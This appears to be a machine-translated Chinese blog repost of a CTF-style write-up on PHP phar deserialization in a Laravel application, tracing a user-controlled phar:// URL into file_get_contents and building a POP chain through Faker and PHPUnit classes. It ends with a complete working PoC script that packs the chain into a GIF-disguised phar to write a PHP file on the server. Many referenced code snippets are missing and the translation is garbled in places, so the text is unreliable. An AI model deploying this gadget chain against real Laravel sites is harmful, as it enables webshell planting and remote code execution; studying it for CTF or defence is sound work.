php反序列-PHP反序列化入门寻找POP链(一)

2023-09-05 0 2,543 百度已收录

PS:更新P牛做的docker环境

漏洞点

在routes/web.php文件中,定义了web程序的路由。 当我们使用 GET 或 POST 方法访问它时,程序将调用 app/Http/Controllers/EditorController.php 类中的 main 方法。

于是我们查看app/Http/Controllers/EditorController.php文件,很快我们就会发现download方法中有一个$url变量在file_get_contents函数中使用,没有任何处理。 下载方法代码如下:

这时候我们就会考虑$url变量是否可控。 如果可控的话,我们可以使用phar来反序列化。 当我们回溯查找$url变量的来源时,我们会发现在doCatchimage方法中,变量值来自于$sources变量。 $sources变量由用户传递的source参数决定($url变量可以通过[]=phar://xxx.gif控制)。 相关代码如下:

所以接下来我们要寻找可以利用的类技术php反序列,然后通过phar反序列化来触发漏洞。

了解 PHPGGC

在寻找pop链之前,我们不妨看一下phpggc中Laravel框架RCE现有的4种payload生成方式,这样我们就可以更快的找出本题的pop链。 Laravel框架RCE的4种payload生成方式分别如下:

类型1

反序列化时php反序列,类方法调用流程如下:

2型

反序列化时,类方法调用流程如下:

3型

反序列化时,类方法调用流程如下:

4型

反序列化时,类方法调用流程如下:

这里我选择第一种phar反序列化执行结果图(题目环境为PHP7.1.16):

然而,本主题的环境仍然有一些额外的限制。 例如,PHP版本为7.2.14,以下函数和类被禁用。 :

disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

从 PHP7 开始。

开始寻找流行连锁店

我们可以发现里面的4个RCE入口点都是从PendingBroadcast类的__destruct方法开始的,所以我们重点寻找dispatch方法和__call方法。 经过一番查找,发现ValidGenerator类中的__call比较好用。

我们可以看到,代码中首先调用了call_user_func_array函数,然后将call_user_func_array函数的执行结果传入call_user_func函数中。 只要我们能够控制call_user_func_array函数的执行结果,就相当于可以控制call_user_func函数的两个参数。 这样,我们就可以调用任何类的方法了。

然后我们寻找可用于控制call_user_func_array函数执行结果的类。 这里我找到了DefaultGenerator类的__call方法。 我们可以看到返回值$this->default是完全可控的。

现在call_user_func(res)中的两个参数都是可控的。 所以如果我们要写一个shell,就需要调用file_put_contents函数,而这个函数需要两个参数,所以直接通过call_user_func函数来使用这个函数是比较困难的。 我们需要通过call_user_func_array函数使用file_put_contents函数。 用法如下: call_user_func_array(' file_put_contents',array('shell.php','test')) 。

通过直接搜索call_user_func_array函数,我们会发现两个比较好用的类函数。 但是这里的第一个ClosureWrapper类对于我们来说很难使用,所以我们不得不使用ReturnCallback类的invoke方法。 具体代码如下:

显然,invoke方法的两个参数都是可控的。 现在我们只需要构造一个Initation类对象。 通过搜索,我们会发现Invocation是一个socket,那么我们就可以找到它的实现类。 这里我找到了StaticInitation类来实现原告功能。 代码如下:

这样我们整个POP链就构建完成了。 这是经验:

<?php
namespace IlluminateBroadcasting{
   class PendingBroadcast{
       protected $events;
       protected $event;
       function __construct($events, $event){
           $this->events = $events;
           $this->event = $event;
      }
  }
};
namespace Faker{
   class DefaultGenerator{
       protected $default;
       public function __construct($default = null){
           $this->default = $default;
      }
  }
   class ValidGenerator{
       protected $generator;
       protected $validator;
       protected $maxRetries;
       // __call方法中有call_user_func_array、call_user_func
       public function __construct($generator, $validator = null, $maxRetries = 10000)
      {
           $this->generator = $generator;
           $this->validator = $validator;
           $this->maxRetries = $maxRetries;
      }
  }
};
namespace PHPUnitFrameworkMockObjectStub{
   class ReturnCallback
  {
       private $callback;
       public function __construct($callback)
      {
           $this->callback = $callback;
      }
  }
};
namespace PHPUnitFrameworkMockObjectInvocation{
   class StaticInvocation{
       private $parameters;
       public function __construct($parameters){
           $this->parameters = $parameters;
      }
  }
};
namespace{
   $function = 'file_put_contents';
   $parameters = array('/var/www/html/11.php','');
   $staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);
   $returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);
   $defaultgenerator = new FakerDefaultGenerator($staticinvocation);
   $validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
   $pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123);
   $o = $pendingbroadcast;
   $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
   file_exists($filename) ? unlink($filename) : null;
   $phar=new Phar($filename);
   $phar->startBuffering();
   $phar->setStub("GIF89a");
   $phar->setMetadata($o);
   $phar->addFromString("foo.txt","bar");
   $phar->stopBuffering();
};

?>

终于

我们用下图来理清整个POP链的调用流程。

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php反序列-PHP反序列化入门寻找POP链(一) https://www.wkzy.net/game/194090.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务